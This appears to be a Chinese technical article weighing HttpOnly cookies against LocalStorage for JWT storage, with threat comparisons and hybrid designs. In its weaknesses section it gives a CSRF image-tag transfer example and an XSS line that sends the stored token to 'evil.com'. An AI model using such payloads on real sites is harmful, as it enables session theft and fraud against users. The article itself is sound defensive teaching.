Skip to content

JWT Token 存储位置之争:Cookie vs LocalStorage

更新: 5/24/2026 字数: 0 字 时长: 0 分钟

这是前后端分离时代最经典的安全设计问题之一,没有"标准答案",只有"根据场景的最优解"。下面从原理、对比、实战三个层面彻底讲清楚。

一、先抛结论

场景推荐方案
安全要求高的业务(金融、支付、企业后台)HttpOnly + Secure + SameSite Cookie
多端共用 API(Web + App + 小程序)LocalStorage / 内存(通过 Authorization 头传递)
极高安全场景(核心账户、私钥操作)内存存储 + Refresh Token in HttpOnly Cookie
跨子域 SSO顶级域名下的 HttpOnly Cookie
纯静态前端(无后端控制响应头能力)LocalStorage(别无选择)

核心原则没有"绝对安全"的方案,只有"防住主要威胁"的方案。Cookie 防 XSS、LocalStorage 防 CSRF,两种威胁中哪个对你更致命,就选对应的方案

二、两种方案的原理对比

http
# 服务端登录成功后下发
Set-Cookie: jwt=eyJhbGc...; HttpOnly; Secure; SameSite=Strict; Path=/
  • 浏览器自动管理该 Cookie,后续请求自动携带。
  • 加上 HttpOnly 后,JavaScript 完全读不到这个 Cookie。

请求时:

http
GET /api/profile HTTP/1.1
Cookie: jwt=eyJhbGc...      ← 浏览器自动带上

方案 B:存在 LocalStorage 中

javascript
// 登录后前端主动存
localStorage.setItem('jwt', token);

// 请求时主动读取并放入 Header
fetch('/api/profile', {
  headers: { 'Authorization': 'Bearer ' + localStorage.getItem('jwt') }
});

请求时:

http
GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGc...   ← 前端主动添加

三、核心安全威胁对比

Web 端最致命的两个威胁是 XSSCSRF,两种存储方案对二者的抵抗力完全相反

威胁Cookie(HttpOnly)LocalStorage
XSS(脚本注入)免疫(JS 读不到 HttpOnly Cookie)完全暴露localStorage.getItem 直接读走)
CSRF(跨站请求伪造)天然存在(浏览器自动携带 Cookie)免疫(浏览器不会自动加 Authorization 头)

这是两种方案的根本差异,也是选择的关键依据。

四、详细优劣势对比

对比维度Cookie(HttpOnly)LocalStorage
XSS 抵抗力强(JS 无法读取)弱(明文存储,任意 JS 可读)
CSRF 抵抗力弱(需 SameSite + CSRF Token 配合)强(请求需主动加 Header)
是否自动携带✅ 自动❌ 需手动
跨域携带受 CORS 严格限制(需 credentials: 'include' + 后端配合)灵活(任何请求都可加 Header)
跨子域共享设置 Domain=.example.com 即可共享不支持(每个子域独立 LocalStorage)
容量限制4KB(JWT 较长时可能超限)5–10MB(容量充裕)
存活时间控制通过 Max-Age / Expires 精确控制永久保存(需手动清除)
登出清理服务端 Set-Cookie 清空,可靠依赖前端 removeItem,易遗漏
移动端 / 非浏览器不友好(App、Postman 处理 Cookie 麻烦)友好(Header 统一处理)
多端复用差(每端需独立处理 Cookie)好(同一套 Token 通用)
实现复杂度中(需配合 CSRF 防御、CORS 配置)低(前端纯 JS 控制)
服务端控制力强(HttpOnly、Secure、SameSite 等都由服务端决定)弱(一旦发出,完全交给前端)
CDN / 边缘缓存友好性差(带 Cookie 难缓存)好(无凭证头时可缓存)
SSR 友好好(服务端可读 Cookie)差(服务端无法访问 LocalStorage)

五、各方案的"致命弱点"详解

原理:浏览器看到任何发往 bank.com 的请求,都会自动带上 bank.com 的 Cookie,无法区分这个请求是用户主动发起还是恶意站点伪造。

攻击示例

html
<!-- evil.com 上的恶意页面 -->
<img src="https://bank.com/api/transfer?to=hacker&amount=10000">
<!-- 浏览器自动带上 bank.com 的 JWT Cookie,转账成功 -->

防御代价:必须额外引入 CSRF Token / SameSite Cookie / Origin 校验 三件套。

LocalStorage 方案的致命弱点:XSS

原理:LocalStorage 是纯前端存储,任何运行在本域的 JS 都能读写。一旦页面存在 XSS 漏洞,攻击者一行代码就能拿走 Token。

攻击示例

javascript
// 攻击者注入的 XSS 脚本
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt'));
// JWT 被发送到攻击者服务器,接下来可冒用身份做任何事

防御代价:必须严格防御所有 XSS 注入点(输入校验、输出转义、CSP),且 Token 一旦泄露无法快速撤销(JWT 的无状态特性)。

六、关键认知:XSS 比 CSRF 更可怕

这一点决定了业界主流推荐的天平倾向

维度XSSCSRF
防御难度(每个输入点都是风险)容易(方案成熟)
危害范围极大(任何操作 + 数据窃取 + 持久控制)有限(只能"盲发"请求)
是否可恢复难(Token 已泄露,需重置)易(防御生效后停止)

结论

  • 如果你的站点做不到 100% 防住 XSS(大多数站点都做不到),那 HttpOnly Cookie 是更稳妥的选择——它至少能在 XSS 发生时保护 Token 本身。
  • 如果你的站点对 XSS 防御非常有信心(严格的 CSP + 全链路防御),LocalStorage 也可以接受。

七、实战中常见的"混合方案"

为了兼顾两者优势,业界发展出多种混合方案:

  • JWT 存 HttpOnly Cookie → 防 XSS
  • Cookie 设 SameSite=Strict/Lax → 防 CSRF
  • 配合 CSRF Token → 双重防御 CSRF

适用:传统 Web 应用、金融后台、安全要求高的业务。

  • 短期 Access Token(如 15 分钟)存在内存(JS 变量)→ 即使有 XSS,刷新页面就丢失
  • 长期 Refresh TokenHttpOnly Cookie → 防 XSS,用于刷新 Access Token
  • Refresh Token 接口配合 CSRF 防御

优势

  • 内存中的 Access Token 几乎不会泄露(页面关闭即清空)
  • 即使 Access Token 被 XSS 拿到,有效期短,危害可控
  • Refresh Token 在 Cookie 中,XSS 拿不到

适用:现代 SPA、对安全有较高要求的前后端分离应用。

方案 3:双 Token 分层(OAuth 2.0 标准模式)

  • Access Token(短期)通过 Authorization 头传递
  • Refresh Token(长期)严格保管(HttpOnly Cookie 或安全存储)
  • Access Token 过期后用 Refresh Token 换新

适用:开放平台、第三方授权、企业 SSO。

八、容易踩的坑

忘记加 HttpOnly:等于明文存储,XSS 风险 ❌ 忘记加 Secure:HTTP 明文传输可被嗅探 ❌ 忘记加 SameSite:CSRF 风险大增 ❌ Domain 设得过宽:子域被攻破即可窃取 ❌ 以为有 Cookie 就不用防 CSRF:错!必须额外加 CSRF Token / SameSite

LocalStorage 方案常见坑

认为 LocalStorage 比 Cookie 安全:错!XSS 下完全裸奔 ❌ 存了高敏感长效 Token:一旦泄露危害极大 ❌ 没有过期机制:用户清不掉,服务端撤不掉 ❌ 第三方脚本(统计、广告、SDK)也能读:信任边界扩大 ❌ 登出忘记 removeItem:Token 仍在本地

九、决策流程图

你的应用是?
├─ 传统服务端渲染 Web 应用
│  └─ ✅ HttpOnly Cookie + SameSite + CSRF Token

├─ 前后端分离 SPA
│  ├─ 安全要求高(金融/企业)
│  │  └─ ✅ Access Token 存内存 + Refresh Token 存 HttpOnly Cookie
│  ├─ 普通业务,对 XSS 防御有信心
│  │  └─ ✅ LocalStorage + Authorization 头(必须严格 CSP)
│  └─ 需要 SSR
│     └─ ✅ HttpOnly Cookie(服务端可读)

├─ 多端共用 API(Web + App + 小程序)
│  └─ ✅ LocalStorage / 安全存储 + Authorization 头(各端统一)

└─ 跨子域 SSO
   └─ ✅ 顶级域 HttpOnly Cookie

十、来自业界的实践参考

公司 / 框架推荐方案
OWASP优先 HttpOnly Cookie;如必须用 LocalStorage,需严格 CSP
Auth0推荐 HttpOnly Cookie(Web 场景)
Google / Firebase AuthSDK 默认使用 IndexedDB(带 XSS 风险提示)
GitHubHttpOnly Cookie + CSRF Token
AWS Cognito提供两种模式,文档明确说明各自风险

业界长期趋势:越来越多的安全团队倾向于推荐 HttpOnly Cookie 方案,原因正是 XSS 比 CSRF 更难防住

十一、终极一句话总结

JWT 存 Cookie 还是 LocalStorage,不是"哪个更安全"的问题,而是"你更怕 XSS 还是更怕 CSRF"的问题。 Cookie(HttpOnly)牺牲了开发便利性来换 XSS 免疫,代价是要单独防 CSRF;LocalStorage 牺牲了 XSS 防护来换开发简洁,代价是站点必须零 XSS。对绝大多数业务而言,"HttpOnly Cookie + SameSite + CSRF Token" 是更稳妥的选择;追求极致安全的 SPA,可以选用"内存存 Access Token + HttpOnly Cookie 存 Refresh Token"的双层方案。